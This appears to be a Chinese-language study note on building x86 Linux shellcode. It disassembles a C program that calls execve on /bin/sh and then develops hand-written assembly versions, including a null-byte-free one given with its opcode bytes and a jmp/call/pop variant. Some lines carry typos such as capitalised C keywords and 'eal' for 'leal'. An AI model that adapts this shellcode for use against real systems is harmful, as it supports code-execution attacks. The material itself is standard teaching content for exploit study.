#include <stdio.h>
void main()
{
Char *name[2];
Name[0] =“/bin/sh”;
Name[1] = NULL;
Execve(name[0], name, NULL);
}
使用 objdump -d a.out:
push %ebp //保存原來的基址指針 shell調用main函數. 這個ebp是shell的基地址
mov %esp, %ebp //將當前sp指針變成新的bp指針
sub $0x8, %esp //爲局部變量預留空間
and $0xfffffff8, %esp //雙字邊界對齊
mov $0x0, %eax //清空eax
sub %eax, %esp
movl $0x808ef88, 0xfffffff8(%ebp) //將字符串”/bin/sh”地址拷貝到name[0]中
movl $0x0, 0xfffffffc(%ebp) //將null拷貝到name[1]中
sub $0x4, %esp //esp - 4
push $0x0 //將execve第3個參數null壓棧
lea 0xfffffff8(%ebp), %eax //把name[]地址裝載到eax
push %eax //把execve第二個參數name[]地址壓棧
pushl 0xfffffff8(%ebp) //把execve第一個參數“/bin/sh”地址壓棧
call 0x804d9f0<execve> //調用execve
add $0x10, %esp //C調用約定,調用者恢復堆棧
leave //等於add XXX,%esp, pop %eip
ret
簡化:
pushl $0x0068732f // "/bin/sh"字符串的ascii碼
pushl $0x6e69622f
movl %esp,%ebx //將字符串首地址記錄在ebx中 即,exec的參數1.
pushl $0 //壓棧arg2
pushl %ebx //壓棧arg1
movl %esp,%ecx //exec參數2.
movb $0xb,%al
int $0x80
上面這段代碼能成功調用 /bin/sh,但是 pushl $0 和pushl 0x0068732f會產生0的機器碼,使shellcode截斷.
更正:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0x68732f6e
804805c: 68 2f 2f 62 69 push $0x69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0x80
又一版本:
jmp 1f
2: popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
eal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
1: call 2b
.string \\"/bin/sh\\"
注:
系統調用時,系統調用號存放在%eax中,參數1,2,3分別存在%ebx,%ecx,%edx中
.section .text
.globl _start
_start:
jmp lab2
lab1:
popl %esi
xor %eax,%eax
pushl %eax
pushl %esi
movl %esi,%ebx
movl %esp,%ecx
xor %edx,%edx
movb $0xb,%al
int $0x80
movb $0x1,%al
xor %ebx,%ebx
int $0x80
lab2:
call lab1
.string "/bin/pwd"